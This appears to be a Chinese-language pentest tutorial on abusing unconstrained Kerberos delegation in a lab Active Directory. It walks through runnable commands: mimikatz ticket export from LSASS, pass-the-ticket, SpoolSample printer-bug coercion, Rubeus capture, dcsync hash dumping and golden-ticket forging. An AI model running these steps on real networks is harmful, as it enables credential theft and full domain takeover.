Home 内网渗透-非约束委派攻击
Post
Cancel

内网渗透-非约束委派攻击

非约束委派攻击Unconstrained delegation

  • 接受委派的用户只能是服务账户或者计算机用户

    条件

  • 配置了非约束委派的用户的userAccountControl 属性有个FLAG位 TrustedForDelegation 非约束委派的安全问题就是如果我们找到配置了非约束的委派的账户,比如这里面的JACKSON-PC$,并且通过一定手段拿下该账户的权限,然后诱导域管访问该JACKSON-PC$,这个时候域管会将自己TGT发送到JACKSON-PC$并缓存到LSASS中,那我们就可以从LSASS中导出域管的TGT票据,然后通过PTT,从而拥有域管的权限。

    LDAP过滤规则

  • adfind
    1
    
    adfind.exe -b dc=sync,dc=net -f "(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
    
  • powershell https://github.com/shigophilo/tools/blob/master/PowerView.ps1
    1
    2
    
    Import-Module PowerView.ps1
    Get-DomainComputer -Unconstrained -Properties distinguishedname,useraccountcontrol -Verbose | ft -a
    

    原理

    当user访问service1时,如果service1的服务账号开启了unconstrained delegation(非约束委派),则当user访问service1时会将user的TGT发送给service1并保存在内存中以备下次重用,然后service1 就可以利用这张TGT以user的身份去访问域内的任何服务(任何服务是指user能访问的服务)了

    操作

    操作环境:

  • 域:qiyou.com
  • 域控:windows server 2008R2,主机名:WIN-QFPHJSM1L7G,IP:192.168.141.145,用户:administrator
  • 域内主机:windows server 2008R2,主机名:DM2008,IP:192.168.141.183,用户:qiyou 注:在Windows系统中,只有服务账号和主机账号的属性才有委派功能,普通用户默认是没有的

现在我们将DM2008这个主机用户设置为非约束委派(注意是:主机用户而不是服务用户,多谢评论区的3t2ugg1e师傅指正) 然后我们以administrator的身份通过WinRM服务远程连接DM2008 注:常见的连接方式还有:MSSQL和IIS,不过我们这里为了方便演示就直接用WinRM了 这个时候域管理员的TGT已经缓存在DM2008了,我们用mimikatz即可dump出来

1
2
privilege::debug 
sekurlsa::tickets /export

可以看到[0;1622d8]-2-0-60a00000-Administrator@krbtgt-QIYOU.COM.kirbi即为域管理administrator的TGT

此时我们访问域控是被拒绝的 然后通过ptt将TGT注入到当前会话中

1
kerberos::ptt [0;1622d8]-2-0-60a00000-Administrator@krbtgt-QIYOU.COM.kirbi

成功访问 注意:访问域控要用主机名或者是FQDN,使用IP还是会提示拒绝访问 如果想执行命令的话,我们可以用WinRM服务来远程连接域控服务器

1
Enter-PSSession -ComputerName WIN-QFPHJSM1L7G
  • -ComputerName指定主机名
  • 如果你WinRM服务端口改了的话,可以用-Port指定WinRM端口,默认是5985 注:Windows Server 2012及以上默认是开启WinRM服务的,Windows Server 2008 R2需要winrm quickconfig -q来启动WinRM服务,还要注意一点就是这条命令运行后会自动添加防火墙策略,防火墙默认会放行5985端口的。

非约束委派+Spooler打印机服务

如果只是单纯的非约束委派话需要管理员主动连接,所以在实战环境利用比较鸡肋。

利用非约束委派+Spooler打印机服务可以强制指定的主机进行连接,这个利用场景是tifkin_,enigma0x3和harmj0y在DerbyCon 2018提出的

演讲PPT:地址

  • 利用原理:利用Windows打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)方法强制任何运行了Spooler服务的计算机以通过Kerberos或NTLM对攻击者选择的目标进行身份验证。 请求过程如下: 图来源于:http://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/

注:Print Spooler服务默认是自动运行的 注:我在windows server 2008上操作没有成功,不知道是我的问题还是有版本限制,按照上面的原理来说应该是没有版本限制的,不过把域环境重新配置了一遍,域控换成了windows server 2012R2就成功了

操作环境:

  • 域:test.local
  • 域控:系统:Windows server 2012R2主机名:DM2012,ip:192.168.141.134
  • 域内主机:系统:windows 10,主机名:win10,ip:192.168.141.165 这个实现了前提是:需要获取一台主机账户开启了非约束委派域内机器的权限

我们给win10这个主机账户开启非约束委派 注:是主机账户开启非约束委派,而不是服务用户

tifkin_在他的github上开源了POC:https://github.com/leechristensen/SpoolSample

向DM2012的Spooler服务发送请求,强制其访问win10进行身份验证

1
SpoolSample.exe dm2012 win10

我们可以用Rubeus来监听Event ID为4624事件,这样可以第一时间截取到域控的TGT

每隔一秒监听一次来自dm2012的登陆(需要本地管理员权限)

1
Rubeus.exe monitor /interval:1 /filteruser:dm2012$

注:Rubeus.exe捕获到的TGT是base64编码的,但是我们不需要解码,Rubeus可以直接将base64编码的票据直接注入到内存中

1
Rubeus.exe ptt /ticket:base64

因为之前域内主机win10的安全日志被我搞崩了,所以这里就不演示了 因为我们Rubeus监听TGT用不了,所以我们可以用mimikatz导出TGT

1
2
privilege::debug
sekurlsa::tickets /export

可以发现成功导出来自DM2012$的TGT 得到TGT之后,我们用ptt将票据注入到当前会话后,可以用dcsync导出域控中所有用户的hash,然后用krbtgt用户的hash生成黄金票据

1
2
kerberos::ptt [0;862bdd]-2-0-60a10000-DM2012$@krbtgt-TEST.LOCAL.kirbi
lsadump::dcsync /domain:test.local /all /csv

得到krbtgt用户的hash之后生成一张administrator的黄金票据

1
kerberos::golden /user:Administrator /domain:test.local /sid:S-1-5-21-662417213-3583657854-423750704 /krbtgt:683545df56ea57b168d0ad090e209616 /ptt

成功以administrator的身份访问域控 执行命令可以用WinRM服务来远程连接域控 关于Spooler服务的利用还有CVE-2019-1040,不过这个是基于资源的约束委派,有兴趣的同学可以去了解一下 原文

This post is licensed under CC BY 4.0 by the author.